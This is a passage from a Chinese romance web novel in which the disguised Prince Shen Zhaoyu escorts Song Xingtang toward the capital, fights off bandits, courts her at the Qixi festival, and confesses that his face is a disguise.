他酸里酸气,不认输道:“我比她手稳。” 宋星糖瞪圆眼睛,“要她,不要你。” 又不要他! 怎么总不要他! 沈昭予恨得牙痒痒,冷笑道:“没得选,忍着。” 他阔步向外走,走到门口,脚步微停。 迟疑片刻,深吸了口气。 垂眸,低声道:“我很抱歉。” 宋星糖一愣。 他直视着她的眼睛,认真道:“我的确不该将你留在原地,我既带你了出来,自然要对你负责,倘或冒然离开,你发生任何事,我只怕会悔恨终身。” “我是头一次处理我们之间这种关系,实在不得其法,缺乏经验,虽然白白做了你一个月的夫婿,可一举一动,皆是刻意而为,做不得真。” “我比照着旁人的经验,照猫画虎,学着当好一个夫婿,虽然也将你哄得极好,可终究过不了我心里这关。那不是沈昭予在对你好,而是赵鱼,我现在想要摆脱赵鱼的影子,做回自己,让你面对我的本来面目,可能……太过突然,你会 不适应,这是我未曾顾虑到的。” “你放心。”他郑重其事道,“留下你这种事,不会再有下次。” 他忽然这么认真地道歉,倒叫宋星糖有些不好意思。 她赧然低头,红着脸,“哎呀,我这不是没事嘛,原谅你了,快走吧。” “听到我道歉,开心?” “嗯,开心,”她一双眼睛亮晶晶的,直白道,“你这么高傲,却会向我低头,怎么叫人不开心呢。” 沈昭予轻声笑她:“虚荣。” “对呀。”她勾着他的手收紧,理直气壮地反问,“难道你不是?” 四目相对,有无言的爱意在流淌。 半晌,他低头,贴了贴她的额头,笑道:“的确,我也是个很虚荣的人。” 再度启程,连夜赶路。 终于在寅时左右,遥遥望见城墙的影子。 沈昭予收回目光,敲了敲车窗,说道: “时辰尚早,城门未开,我们原地休整,等日出再进城。” 宋星糖掀开车窗往外看,“今日是七月初六吗?” “是初六,明日才是你心心念念的乞巧节。” “咦?城墙在哪儿呢?我怎未瞧见?都是雾,看不清楚呀。哎哎卡住了!” 沈昭予长叹一声,一步跨上马车,钻进车厢,单臂抱着她的腰,护着她的脖子,把人从狭窄的窗框里解救出来。 “你何时能安分一点,让人省省心。” 他把她放下,伸手为她整理衣裳。 虽然他嘴上说,要把“赵鱼”的影子从身体里剥走,可有一些伺候人的活,他到底做成了习惯。虽恢复身份,难免偶尔会忘记,下意识就又把自己当做赘婿来“侍奉”她。 宋星糖也习惯了他的照料,乖乖任由他摆弄。 她对他的埋怨不加理睬,不依不饶道:“你这双眼睛好厉害,竟能瞧见别人都瞧不见的东西!” 沈昭予:“……” 这是把他说成什么了?说得他好像开了阴阳眼,能看见“人”看不见的脏东西似得。 该让她少看些灵异志怪的书。 “习武之人,目力自比常人要强上几分。莫说是我,这点距离,就是青鸾都能看到。” “这点距离?是多远?” “五里左右。” “哇!好远!” 沈昭予:“……” 真的不远。 算了,较什么真呢。 他无奈道:“嗯,很远,我好厉害。” 宋星糖认真地点了点头,“我也想学,来得及吗?” 说着,两根手指屈起,隔空戳了戳自己的双目,又点了点他的。 沈昭予:“你先把九章算术学明白再说吧。” “……喔,好吧。” 她垂头丧气低下头。 沈昭予忽得脸色骤变,眸光陡然凌厉。瞬息间,他抬手按着她的肩,一把拉到一旁。 宋星糖只感觉自己被一股大力提起,身子不受控地往一边倒去,扭伤的脚不设防落到地上,使了力。 她未感觉到疼,只觉得天旋地转,后背磕上车壁,面前的景由沈昭予的脸,变成了车顶。 她以一个奇怪的姿势,狼狈地倒在坐榻上。 没等她缓过神来,一阵熟悉又好闻的味道将她笼罩。 她睁开眼,瞳孔中立刻倒映出男人的俊脸,那影子越靠越近,越来越大。 直到—— 他一手扣着她的后脑,一手将她揽入怀中。 唇贴上她的耳廓,低声呢喃:“糖儿困了,睡一会吧。” 而后那条有力的臂膀由背后离开,垫到她的身下,托着她的臀,将她抱了起来。 他让她坐在他的手臂上,带着她转身,然后…… 宋星糖趴在他的肩头,看到马车上多了一个洞。 就在她方才的位置上。 若是没被他拉开,此刻这个洞大抵开在她的脑袋上。 她眼睫微颤,目光下落,看到男人垂在身侧的、轻抚过她后脑的那只手上,抓着一支箭。 他手上力道极大,手背上青筋暴起,似乎下一刻就能单手将箭折断。 她无意识地抖了抖,男人似有所察,轻笑一声,用箭挑开轿帘,抱着她站到车板上。 “别怕。”他眼中杀意骤现,口中却温柔地说,“不会再留你一人。” 然后…… 然后沈昭予就这么抱着她,不,是她就这么坐在他的手臂上,看着他随手掷出那支箭。 远处传来一声惨烈的哀嚎,宋星糖一眼睁一眼闭地望过去,看到那支箭准确地扎在一个弓箭手的眼睛上,吓得把自己的眼睛全闭上了。 “别看。”他笑着道,“吓哭鼻子,我可不哄。” 话音落,宋星糖便感觉自己飞了起来。 呼啸的风声打耳边过,到处皆是喊打声与兵器碰撞的声音。 宋星糖紧紧抱着沈昭予的脖子,把自己埋在他颈间。她紧闭双眼,脸贴在他肩头,害怕得全身都绷紧。 抱着他的男人只剩下一只手,似乎仍然游刃有余。 听他的呼吸声规律而平稳,感受着那只手始终稳稳地托着她,力道未有丝毫的松动。 从零星的喊话中,宋星糖终于知道,他们这是遇上山匪了。 原来到处都有匪患,她出神地想。 神游的空隙,感觉沈昭予抱着她从一处飞到另一处。这一次应是在河边,因为她听到人掉到水中的声响。 空气中的血腥味越来越浓,似乎有温热的血迹溅到她脸上。 她不敢睁眼,偷偷在他衣服上蹭了蹭。 沈昭予身体微僵,抱着人的手抖了一下,咬牙切齿道:“别撒娇。” 宋星糖依旧不敢抬头,委屈道:“我没有,是血脏……” “……” 后来,怀王殿下再不敢一刀将人毙命,只得小心翼翼、把握好分寸,先将人打晕,而后踢给下属,让人代劳。 虽然敌众我寡,但战局几乎毫无悬念。 从沈昭予手下训练出来的暗卫,各个不说以一敌百,对付一般的山野毛贼,一打十绰绰有余。 在宋星糖被男人快速移动旋转的身形晃得要吐时,一切终于结束了。 她趴在他肩头,长舒一口气。因为害怕,所以始终抱得极紧,他的肩膀压得胸口疼,于是抬手揉了揉胸前那两团。 沈昭予:“……” 他深吸一口气,闭了下眼睛,强迫自己忽略她的小动作,以及那处勾人遐思的柔软。 “殿……主子,山匪共二十五人,如何处理?” 宋星糖听出是江行的声音,耳朵动了动。 二十五!这么多! 她记得他只带了三名护卫,其中一个还是她认识的江行。算上青鸾和他,能打的一共就五个人! 按照九章算术里教的算一算…… 他们每个人一打五!还要分神去照顾她的婢女们,更不容易了! 宋星糖眼睛瞪得圆圆的,没忍住偏过头,脸颊压在 男人肩头,目光盯着男人的侧脸瞧。 只听他带着怒意道:“汴州的匪患过去多久了还未解决,看来此处的官也嫌自己做太久了!” 江行道:“可要上书给陛下?” “指望他。”男人冷笑一声,“怕只能得到一通安抚。” “这二十五具……”他余光瞥到宋星糖闪亮的眼睛,顿了顿,抬掌把她脑袋按回去,低声道:“二十五人送到刺史府,全扔卧房里,堆床边。” 暗卫领命退下。 江行忽然道:“您的伤该处理一下。” 伤? 什么伤? 宋星糖的脑袋立刻又支棱起来。 她吸了吸鼻子,果然闻到他身上有一股淡淡的血味。 她的目光四处扫,忽然凝住,看到有血划过手背,流到地上。 说话的功夫,血已经在脚下聚了一小滩。 宋星糖瞳孔微缩。 沈昭予却不以为意,只淡淡看了一眼。 他说道:“无妨,先进城,此处不安全。” 他叫来青鸾,把怀里的人送出去,让青鸾扶着,嘱咐道:“护好夫人。” 又拉过凌风,缰绳攥在手里,看向宋星糖。 他眉目不自觉地柔和下来,嗓音轻柔,带着笑意:“我先去探路,你们休整过后就跟上来,别怕,我在前面为你开路,不会再有事了。” 他见宋星糖垂着眼睛,不知在看哪儿,目光怔怔的,以为她又在不高兴。 沈昭予迟疑道:“我要离开,先同你说一声。” 怎么好像提前交代行踪,她也不满意?究竟是何处做错了? 沈昭予缺乏经验,疑团难解,时间不等人,他拉着缰绳,翻身上马,倾身过去,摸了摸宋星糖的脑袋。 “等会见。” 他正要走,忽听一声:“姑娘!” 沈昭予蓦地转头。 只见宋星糖推开众人,手按着马鞍,仰着头道:“你的手在流血。” 一眨眼的功夫,就染在了缰绳上。 她说:“我知道你的感受了。” 看着他受伤,却见他不当一回事。 那一刻恨不得代他受苦,又恨不得拧他的耳朵,捶他的胸口,质问斥责他,骂他为何要作践自己,为何不珍惜身体。 想要揪着他的领子,对着他哭嚎。 又恼又怒,又急又气,又心疼又无奈。 怪不得他会对她生气。 宋星糖摸向心口,失神喃喃:“原来是这种滋味。” 沈昭予无措道:“糖儿?” “我不准你不处理伤口,就去下一个地方。” 宋星糖皱着眉,自以为很凶地威胁他:“你下来,还是我上去!” 说着,就要抬起那只伤脚去踩马镫。 沈昭予一愣,而后缓缓笑了。 “你上来吧。” 没等她踩住马镫,他用完好的那只手,一把将人拎了上去。 第70章 第70章“你咬我舌头,还把它拉…… 【70】 众人一声惊呼。 眨眼间,宋星糖被放到马背上。 脚蹬被沈昭予占着,她的脚只能悬在半空,格外没有安全感。 她紧张地抓紧缰绳,回头,声音微抖,“你,你怎么还真把我弄上来了?” 男人的坏全写在脸上,毫不遮掩,他故意松了手,笑道:“是你叫我选的。” “那,那我不是想威胁你下来吗……”宋星糖哆哆嗦嗦地抱住马脖子,“好,好高!鱼鱼,你快抱着我,别让我掉下去!” 好在她和凌风相处过一段时间,凌风并不计较她的锁喉。 见她真害怕,沈昭予不再逗她,无奈将人环住,让她靠在自己胸膛上,“小坏蛋,还想威胁我,你知道威胁我的人都是什么下场吗?” 宋星糖脸色发白,不小心瞥了一眼,一阵头晕眼花,再不敢低头。 “我不知别人,反正我是下不去了。” “好了,别怕,”沈昭予抬手绕过她身前,让他抓着自己的手,安抚道,“有我在,还能叫你摔了?” 宋星糖怀疑的目光盯着他的手,不确信道:“你行吗?” 行、吗? 威胁他就算了,还质疑他。 沈昭予气笑,恨不得咬她的脸,“这手就是断了,也绝不会叫你受伤。” 说完又觉得不对,恼道:“我本事大着,手不会断!” 真是毫无意义的对话,众人面面相觑,纷纷散了,各自去整理。 宋星糖呆坐半晌,见凌风很乖,并未乱动,慢慢地松懈了全身的力道,软在沈昭予的怀里。 她忽然想起来要紧事,从怀里掏出一瓶药膏,又摸出一条干净的手帕。 她犹豫道:“这是你给我抹脚的,不是止血的药吧?” 沈昭予笑着颔首。 “算了,只能先应付一下,等进了城再去看大夫。” 区区小擦伤,何至于看大夫? 沈昭予想要拒绝,可看着小姑娘真心实意关切的目光,话都咽了回去。 “好,都听糖儿的。” 没有上药,只简单地进行了包扎,沈昭予一夹马肚,先往城门去。 江行和青鸾赶忙骑马跟上。 二人不远不近地跟着。 青鸾纳闷:“殿下为何这么慢。” 江行和青鸾并排走,心口正小鹿乱撞,闻言往前头看了一眼,撇撇嘴,“一共就几里路,转眼就到了,可不得好好磨蹭。” 下回哪还有这么好的机会。 青鸾皱眉,“可这也太慢了……” 江行看了看自己和青鸾的马,几乎和“散步”差不多。 因为太慢,两匹在边疆驰骋惯了的骏马都很不满,显得十分焦躁。 江南吹了个口哨,一副潇洒浪子的模样,拍了拍马儿,勾唇笑道:“没办法,这就是坠入情网中的男人呐。” 青鸾转头看他一眼,“你还挺懂。” 江行身子一僵,立马收了表情,就差指天发誓,“可不是我本性风流,都是为了咱们殿下,我特意去学的。” 他也是清清白白一个黄花大小子,感情经历为零,什么都不懂,还要给好不容易开花的铁树当军师,不多学点东西,他怎么出主意?他容易吗。 青鸾没再说什么,叹了口气,抬手摸了摸身下的马。 他二人的马按捺不住追赶的冲动,相比之下,凌风就显得格外优雅沉稳。 凌风迈步极稳,渐渐地,宋星糖彻底不怕了。 她忘性大,很快把遇匪的事忘到脑后,眼里只盯着沈昭予那只受伤的手。 过一会,轻轻点一下他的手背,嘴里嘟嘟囔囔: “一下都不疼吗?难不成你也痛感迟钝?” “说什么只擦破了破,不碍事。谁擦破一层皮能流这么多血?拿我当小孩子哄,天天骗我,人笨没处说理。” “破个皮流一地血,脸皮厚,手皮也厚?” 沈昭予:“……” 埋怨了一会,她又开始反省自己: “你说的对,自己受伤,身边的人也是会疼的。” “人活在世,不能太自私,总要为了谁而约束自己,从前不让我娘担心,我对二房多有忍让,如今身边多了一个你,我也该为你考虑考虑。” “你还教训我不听话,我看你也一个样,不拿自己的身体当回事。” “哎对了,”宋星糖靠在他怀里,仰头,“你真的不疼吗?” 沈昭予垂眸,他们挨得太近,他只要稍稍低头,就能吻上她的眼睛,因为近,他从她清澈的瞳中看到自己的倒映,才发现,自己这一路一直在笑。 他忍着吻她的冲动,轻声道:“疼。” 宋星糖:? 她张着嘴,茫然地看着他,“怎么,怎么又疼了?又疼了吗?我看看!” 她半天才反应过来,急着要去扒他的手。 沈昭予令凌风停下,松开缰绳,用伤手握住她的手,微微倾身,离她仅咫尺,指腹轻轻摩挲她的眼角。 “糖儿眼里都是心疼,夫妻一体,你疼就是我疼。” 这话听着十分耳熟,是宋星糖自己说的——“我替你疼,也算你疼。” 原本是十分微妙暧//昧的对话,宋星糖一开口,又破坏了气氛。 她否定道:“可是我们不是夫妻了。” 沈昭予:“……” 她总在不经意间,反复提醒他被人休弃的事实,给他心口用力插一刀。 沈昭予不信命,倔强道:“可糖儿在心疼,对吗?” 宋星糖点头。 沈昭予笃定道:“我手疼,你心疼,我们都疼,足以证明是一体的。” 正着说不通,就反着说,反正她必须和他是一体的! 宋星糖脑子慢,绕来绕去很快被他说迷糊了,她两眼 发直,疑惑道:“啊?是这样吗?” “嗯,就是这样。” 想不明白,她很快放弃,“……好吧。” 宋星糖应完,就把脑袋转了回去。沈昭予揉揉她糊涂的脑袋,继续驾马前行。 又过了一会,连宋星糖都能看到远处的城门时,她忽然扯了一下他的袖子,让他停下。 回头瞥他一眼,欲言又止,犹犹豫豫。 “怎么?” 她垂头不语,手指纠结地搅在一起。 沈昭予没忍住弯唇,耐心地等着。 半晌,听她鼓足勇气,说道:“你,你既然很疼的话,那、那我允许你。” 沈昭予挑眉笑道:“不知大小姐允我作甚?” 小姑娘面若红霞,抬眼间眸光明润,带着羞意的嗓音,自唇间缓缓而出: “我、我允许你……允许你亲亲我。” 沈昭予笑意微凝,眸光陡然转深。 他微微眯眸,盯着那一张一翕的红唇,嗓音低哑:“你说什么?” 宋星糖捂着脸,别过头去,“就这一次哦,但不可以伸舌头。” 没等来男人的回音,她正欲转头看他。 凌风忽然动了起来! 宋星糖没坐稳,身子晃悠了一下,直接撞进男人宽厚的胸膛里。 她恍惚间回头,只见男人紧抿着唇,似乎在艰难压抑着什么,他眸光冷而锐,周身骤然释放出一股十分危险的气息。 宋星糖如小动物般的嗅觉,敏锐地嗅到风雨欲来的气息,她心肝俱颤,胆怯地缩了缩头。 凌风的速度在极短的时间内加速到极致,瞬息间,便带着宋星糖闯入旁边一片密林中。 “吁——” 凌风一声长啸,被人勒停,马蹄高高扬起,溅起一阵飞尘。 宋星糖一颗心上下乱蹦,还未落到实处,他一手捏住她的脸,向后转。 还未看清他的脸,眼前一黑。 他抬手盖住她的眼睛,而后严严实实地吻了下来。 许久未亲,挨上那一刻,两人灵魂皆是一颤。 男人双手捧着她的脸,好像八百年没亲过嘴一样,吻得投入,十分情/动。 宋星糖很不高兴。 因为,他还是把舌头挤进来了。 “挤什么呀!别挤别挤!” “魂儿都要挤没了!赶着投胎去呀?!” “哎哟,当然是赶着去放和河灯呀,晚了就抢不到第一波前排啦!” “我呸,织女娘娘要是知道你这糙手婆子也来乞巧,她肯定要苦恼得头发都抓光了!” 宋星糖陷在人群里,感觉自己化成了一汪水,时而被左边的人撞一下,又被右边的人推一把,散成了各种形状。 她感觉自己被挤得,两脚都离了地。 手腕上传来一股强力,带着她远离了熙熙攘攘的人群。 终于解脱出来,沈昭予的脸色已然黑得像锅底。 “还好提前将你栓住,否则非丢了不可。” 人太多,宋星糖短暂地呼吸不畅,她低头看了一眼两个人捆在一起的手腕,心里忽然高兴起来。 她晃了晃两人的手,抬头冲他咧嘴一笑。 沈昭予注视着小姑娘那两颗可爱的小酒窝,不自觉地也跟着笑起来。 “如何?脚疼吗?”他说着,唇边弧度又落下去,不悦道,“说了背你游街,非不愿,还从我背上跳下去,能耐得你。” 他又气又爱,伸手捏了一把她的脸蛋。 “咬捂疼(脚不疼),别掐……”宋星糖拍掉他的手,嗔道,“谁叫你欺负我,才不要你背。” 说到欺负,沈昭予便想起来昨天在密林中,那个缠绵、深刻而长久的深吻。 他耳根微红,轻咳一声。 他小声道:“江行跟我发誓,说他什么都没看到。” 当时他忽然调转方向,疾驰起来,吓得两名属下都以为出了什么事,赶忙也加快速度跟上去,结果…… 宋星糖恼道:“谁理他们?说的是你,明明叫你不要伸!” 沈昭予心脏一软,目光停在她的唇上。不知是不是错觉,总感觉她今天的嘴还有些肿。 他舔了下唇,嗓音发紧:“糖儿,面对你的邀请,我要如何能克制?” 他要还能忍得住,那他还算个男人吗? “我听不懂,反正你欺负了我。”她摸了摸嘴,委屈道,“你咬我舌头,还把它拉出去,到你嘴里唔唔——” 沈昭予捂住她的嘴,低声恳求:“别再勾我。” 低声下气,结果收获心上人一记白眼。 倒给他看笑了,松开手,想要抱她一下。 宋星糖扭头就要走。 结果被手腕上拴着的绳子给拽了回来。 她被向后的力道拉得一踉跄,沈昭予早做好准备,张开了手臂,笑着接住她。 趁其不备,低下头,在她脸上飞快亲了一下。 “你!” 沈昭予眨眨眼,“嗯?” “算了,赏你的。” 宋星糖自己也开心,摸了摸脸,抿着唇角的笑,别过头去。 谁也没想到,乞巧节会有这么多人出门庆祝。 “比越州城人可多多了,我们还是回去吧。” 宋星糖先打退堂鼓,扯着手腕上的绳子,把人往回拉。 “上来,带你走上面的路。” 沈昭予解了腕间的绳子,笑着指了指房顶,背对着她蹲下身子。 宋星糖眼睛一亮,“飞?!好耶!!” 那一晚,是宋星糖离星星最近的一晚。 她想,她永远都会记得沈昭予后背的温度。 也永远会记得,星星眨眼的样子。【你现在阅读的是 】 70-80 第71章 第71章(一更)“你此刻看到的…… 【71】 被汴州城百姓的热情吓到,宋星糖说什么也不肯再在此处多留。 匆匆踏上旅途,先后又经过了几座城,都没有再看到乞巧节那日的盛况。 宋星糖忽然后悔,没有多在汴州多留几天。 等行到洛阳,宋星糖又快乐了。 沈昭予背着手,跟在蹦蹦跳跳的小姑娘身后,笑道:“看来糖儿喜欢人多的地方。” “对呀!人多热闹!”她兴奋道,“这可是我第一次离开越州,北方果然繁华!” “周二哥总随周伯父出门做生意,他每去一个地方,都要给我带礼物,还会给我讲故事,他走南闯北去过许多地方,我也因此听说过很多很多地方。” 沈昭予脸上的笑容慢慢淡下去。 宋星糖在前头走,毫无察觉,谈兴高昂:“不过我记性不好,他讲完没几天我就忘了,我总觉得,可能还是得亲自去一趟印象才深刻,光听旁人说,记不牢。” “哎对了,也不知道周二哥的伤如何了。” 上次见面还是周庭柏带她去马庄买马,那之后周庭柏就一直在养伤,直到越州局势大变,她离开家乡,都没再见到他一面。 沈昭予默不作声,沉默地跟在她身后。 宋星糖跑到路边一个卖小玩意儿的摊上,挑花了眼,这个也想要,那个也喜欢,干脆叫妙荷全都包起来。 整条街的目光顿时都吸引过来,大家都看是哪位大小姐在豪掷千金。 沈昭予拧着眉,一一看过去,打量的目光这才少了许多。 “鱼鱼,你看这个多——” 宋星糖举着一个狐狸面具回头,正对上男人的冷脸。 宋星糖:? 嗯?谁又惹他不高兴了? 算了,反正他总不高兴。 她只当没看到,毫不关心他的心情状况,笑嘻嘻地把面具往他脸上比划,“你看这个多适合你呀!” 很好,面具当上,就看不到吓人的臭脸了,她可真聪明! 一眼就洞悉她全部心思的沈昭予:“…………” 还是个不开窍、没心没肺的榆木脑袋! 无力感冲淡的心底的醋劲和不悦,他叹自己情路艰难,无奈地握住她的手,接过面具,戴到脸上。 “好看吗?” “好看!!” 光听声音,就知她喜欢极了。 沈昭予长叹着,又轻笑一声,认命道:“那我就戴着吧。” “嘿嘿!” 逛了大半天市集,宋星糖隐隐感觉到腿酸,说什么也不肯再走,央着沈昭予带她上房。 那晚飞翔的体验极好,之后好几天她都念念不忘,想再感受一回。 青天白日,再嚣张也不能在闹市里飞檐走壁。 “你可还记得,我是在微服私访?” 宋星糖:“……” 忘了。 沈昭予哭笑不得,揉她的脸,“还想让我带你飞回去,你怎不让我闯进刺史府的大门,告诉他们我来了,让他们用八人大轿把我抬回去?” 宋星糖的思绪跳脱,听到一个没听过的,立马就转移了注意力:“ 八人大轿听上去好厉害!你坐过?舒不舒服?” 沈昭予:“……” “尚可。” “那我能坐吗?” 沈昭予沉默了下,笑道:“当然,会有那一日的。” 等他娶她,莫说八人抬,就是十六人轿,又有何不可坐的? 一阵插科打诨,宋星糖也忘了要飞檐走壁的愿望。 在洛阳停留两日,便继续加紧行程往京城去。 后头的路他们没有多停,除了必要的休息,几乎不多做闲逛。 又过半个多月,于八月初一,终于到华州,入京前的最后一站。 才卸下马车的东西进到客房中,暗卫便送来了来自越州的家书。 路上渡过整整两个月的时间,秦知期一共送来三笔银子,一次比一次数额巨大。 沈昭予暗暗腹诽,商富巨贾出手就是非比寻常,家书也要动用镖局来运,这么多银子,真不怕半路遇上打劫的。 光看秦知期担心宋星糖钱不够花,吃穿不好,频频送来银子,以及这满篇的殷切关怀之语就能看出,宋星糖自己种下的善因,终究结了善果。 沈昭予飞快看完信,递给宋星糖,“钱氏死了。” 宋星糖摇头拒绝,每次秦知期都写好长的信,她懒得看,搭着男人的手推了回去。 “不知我要不要守孝。”宋星糖趴在桌上,闷闷不乐,“为阿娘守孝我愿意,为她,我不……” 说完以后才发觉不妥,又立马双手捂住了嘴,冲沈昭予无辜地眨了眨眼。 好像在说——我什么都没说呀。 沈昭予失笑道:“无妨,她又不是你的亲祖母。况且她先为老不尊,不怪你不敬重她。” 且不论亲疏远近,单说二房在李夫人之死一事上,就必定脱不开干系。 若李夫人当真发现了刘家贪污的把柄,那刘家联合二房将其毒害的可能性极大。 横亘在两房之间的,就不是简单的利益冲突与小矛盾摩擦,而是不死不休的血海深仇。 宋遥已经被沈昭予的人秘密押回京城,等到时候在刑房里走一轮,一切都可真相大白,到时候她要杀要剐,也方便。 思及此,沈昭予语气愈发冷淡:“我说话难听,她死有余辜。” 宋星糖眼睛顿时亮了起来。 嗯嗯嗯,好话,爱听! 和信任的人一起说坏话,是宋星糖乐此不疲的事。 她在许多事上都有双套的评判标准,比如当初宋妤娇来找她倾诉倒苦水,她只觉得她是背地说人的小人,不愿与之深交。可沈昭予说起来,她又觉得他是同仇敌忾的战友,恨不得拉着他说上三天三夜都不算完。 沈昭予开了话头,便不再多言,托着腮,嘴角噙笑,听她眉飞色舞地讲。偶尔附和一声,并顺其自然地引导着她继续说下去,不叫场子冷下来。 等宋星糖说得通体舒畅,酣畅淋漓以后,天色已然暗了。 宋星糖口干舌燥,沈昭予看着她喝干一壶水,叫人上一壶新的,才不着痕迹地又将话题引到别的地方去。 二房已经彻底没了指望,沈昭予不欲将这些事说与她听,左右有他和秦知期善后。 比起这些微不足道的小喽啰,接下来要面对的才更值得在意。 沈昭予把秦知期送来的银子交给李嬷嬷收好,将人都遣散,关起房门,才道: “我……还有一件要紧的事,要同你说。” 上一次见沈昭予如此犹豫扭捏,还是他隐瞒了身份时。 在沈昭予措辞的时候,宋星糖摸着下巴苦思。 她实在想不到,他还能有什么地方瞒着自己。 名字是假的,身份是伪装的。 总不会连他这个人都是假的吧,哈哈,别开玩笑了。 沈昭予打好腹稿,深吸一口气。 “不知糖儿可曾听说过一句话。” 嗯?鱼氏课堂又要开讲了? 宋星糖抱着对知识的敬畏,虚心求教:“什么呀?” “画虎画皮难画骨,知人知面不知心。” 宋星糖一拍双手,骄傲道:“这不是我爹常说的话嘛,不过他一般只说后半句。” 宋父知晓自己这个女儿心眼实,人又迟钝,他无法阻止别人欺负她,只能叫她离那些居心叵测的人都远一点。 那么头一步,就是教她分辨哪些为“别有用心之人”。 宋星糖当然没那个本事,宋父为此操碎了心,便只能常常耳提面命,把“知人知面不知心”这句话挂在嘴边,生怕女儿一转头就忘了。 效果总是有的,效果就是她一个朋友都没有。 沈昭予并不认同宋父这种教导的手段,因为怕她吃苦,便干脆杜绝她和别人交往的可能。 沈昭予始终秉持着——堵不如疏,授人以鱼不如授人以渔。 不过这件事也就只他能做成,因为除了他,就连宋星糖的父母,都没有那么多耐心细心教导她,等着她经过格外漫长的时间,一步一步成长。 沈昭予道:“我今日提这句话,只是字面意思。” 宋星糖不懂,歪头看他。 字面? 画虎画皮?难画骨?知人知面?不知心? 沈昭予心情忐忑,犹如行刑前那一刻,倍感煎熬。 他怕自己坐不住,干脆蹲到她跟前,试探地握住她的时,微微仰头望着她。 “糖儿,我还有一事瞒你。”他嗓音发干,紧张道,“在说之前,能不能先求你一个原谅?” “求哪一个原谅?”宋星糖真心发问,“先前那个我还没原谅你呢。” 沈昭予:“……” 她的记性,究竟是好是差?? 他努力弥补了两个月,竟然还未求得谅解吗?他以为她给亲,就是原谅了他。 沈昭予脸色微微发白,叹道:“那算了,只希望你这次就算生气,也别把我赶走,好不好?” 宋星糖没怎么犹豫就点头应下,“我要是丢下你,谁带我找我爹啊。” 还用得着他呢。 沈昭予哭笑不得:“我看你聪明得很,在我身上的小算盘次次都打得响亮。” 夸她?! 宋星糖太爱听了,她咧着嘴,痴痴地笑。 严肃的气氛骤然被冲散,沈昭予的心安定许多。 “这一路低调微服,为避人耳目,我始终隐藏身份,等到京城,便不再需要了。” 宋星糖理解地点头,“正是。” “我方才给你说那句话的意思,是说……”沈昭予闭了下眼,坚定地道,“你此刻看到的我,并非我的真容。” 宋星糖长久地怔住,没了反应。 沈昭予一颗心提到嗓子眼,见她这反应直觉不好,他第一件事,是起身把门从里头锁死。 而后赶忙折返,弯着腰,紧紧拉住她的手。 把人抓在掌心,才能稍微踏实一些。 左等右等都等不到她回音,他内里心急如焚,耐心告罄,索性把解释的话一口气全说出来。 正要开口,宋星糖便打断了他:“你是说,我认识的赵鱼不是赵鱼,认识的沈昭予也不是沈昭予?” “不,你认识的沈昭予,只是一半的我。” 宋星糖:? 她上下打量,“好好的,没少胳膊没少腿,怎么是一半?” 沈昭予头脑发昏,暗骂了自己一句在胡言乱语什么,又忙道:“你想想看,我若想用一个假身份,最稳妥的就是把自己完全变成另一个人,对不对?” 宋星糖低下头,皱眉沉思。 她没有质疑,也没有 认同,只是好奇道:“你的脸有很多少人认识吗?” 这可把沈昭予问住了。 他难得的,有些难为情,羞于开口:“以前行事过于张扬瞩目……” 在“怀王殿下”尚且年幼,还是皇子时,在京城百姓的眼中,便从来没有一点神秘感。 不说他的身份所致,少居高位,自是备受瞩目,就单说他的行事风格,想低调也低调不起来。 京城里无人不识他,所以办特定的事时才需要易容,次数多了,他易容的手艺也愈发精湛,除了宋星糖和那个老和尚,从未有人认出来他过。 宋星糖纳闷道:“这便是你说的,画虎画皮难画骨?的确,皮相易改,骨相难改。” 她学习作画,自是知道,再如何在表面上进行遮掩,骨骼的形状都是不会改变的。 宋星糖眼睛一亮,突发奇想:“你的身形不会也是假的吧?你会缩骨功?会遁地吗?” 这就是传说中的上天入地无所不能?! 沈昭予:“……” 不知道她忽然激动什么。 “不会,但我行动快,通常不等人看清我的脸,就……” 死了。 宋星糖似乎对他不会遁地这件事很失望,小声嘟囔了句:“原来你也有不会的。” 沈昭予眼皮一跳,将恼意艰难压回去。 不会怎么了!谁没事学遁地? 竟敢小瞧他,看他回去就学!! 沈昭予平复了一下,说道:“况且,我亦会稍稍改变一言一行的姿态,不会叫人觉得眼熟。” 宋星糖点头,“你说的有道理,如果只换名字不换脸,风险太大,顾首不顾尾,思虑不周全,就不是你了。” 听这话音,似有松动。 沈昭予心境大起大落,赞叹道:“糖儿这般了解我。” 小姑娘不太明显地自豪挺胸,“那当然啦,相处这么久,你是什么人我还不知?” “只是,那么多人都认识你……”宋星糖低头揉手,“那我跟你站在一起,会不会好多人看我啊?” 看她灵动羞赧的表情,沈昭予不由得生出一种冲动。 他目光温柔,嗓音极轻:“害怕?” 宋星糖咬了下嘴唇,红着脸点头。 “一想到许多目光都在我身上,就不自在。” 在家时,去给祖母请安,她都喜欢往角落里钻,不喜欢冒头。 她有些失落,眼底尽是不安,“鱼鱼,我以前和许多人在一处时,总会面对好多似笑非笑的眼睛,她们脸上在笑,但我知道其实是瞧不起我。” 后天的遭遇令她比人多了份缺憾,她在长久的迟钝中,变得比旁人还要敏感。 不是察觉不出恶意,而是在感知到时,已经是独自一人,细细品味出苦涩来,也只能独自舔舐。 到后来,她就变得不喜欢往人群里钻。 也不全怪宋鸿拘着她,是她自己害怕,不敢和人做朋友。 沈昭予听得一颗心都要碎了,他拉起她的手,抚上自己的脸。 宋星糖循着他的动作,抬头看他。 男人目光里满是柔情,他心疼道:“换个新环境,糖儿不妨试一试?京城中也有许多好人。” “……有吗?” “有。”沈昭予笑道,“我为糖儿把关,可好?” “嗯!” 如果是沈昭予帮她的话,她有底气试一试。 她的勇敢与善良,叫沈昭予再难克制。 他微微低头,朝她吻下去。 宋星糖害羞地偏头,温热的唇落在她唇角。 两个人的脸颊与耳朵顿时都红了彻底。 她羞赧地要躲,他眼疾手快,按在她的脑后。 唇未远离,也不继续冒犯。 就在她的唇角,轻轻摩挲。 “鱼鱼。” 要感谢他的名字不需要怎么张嘴就能念出来。 他笑了声,“嗯?” “你……是什么样子?”她后仰头,满眼都是他,手指划过他的脸,轻声问,“可以给我看看吗?” 如此卑微胆怯的请求,叫沈昭予眼眶倏地发热。 他闭上眼,重新加深唇角的吻。 “当然可以。”他贴着她的唇,喃喃,“我们玩一个游戏,好不好?” 宋星糖立马来了精神,又撑着他胸膛把他推开,“嗯?!什么游戏!” “等到京城,你找找看,能不能在众人之中把我找到。” 宋星糖两眼泛光,兴奋道:“有趣!我会找出来的!” 沈昭予轻轻地笑:“嗯,你会在人群中一眼认出我的。” 就像再见时,一眼就认出了匆匆一瞥的他。 宋星糖望着他笑,也不着急现在要看了,只是总催,何时动身去京城。 沈昭予笑着拥她入怀,在她耳边轻喃: 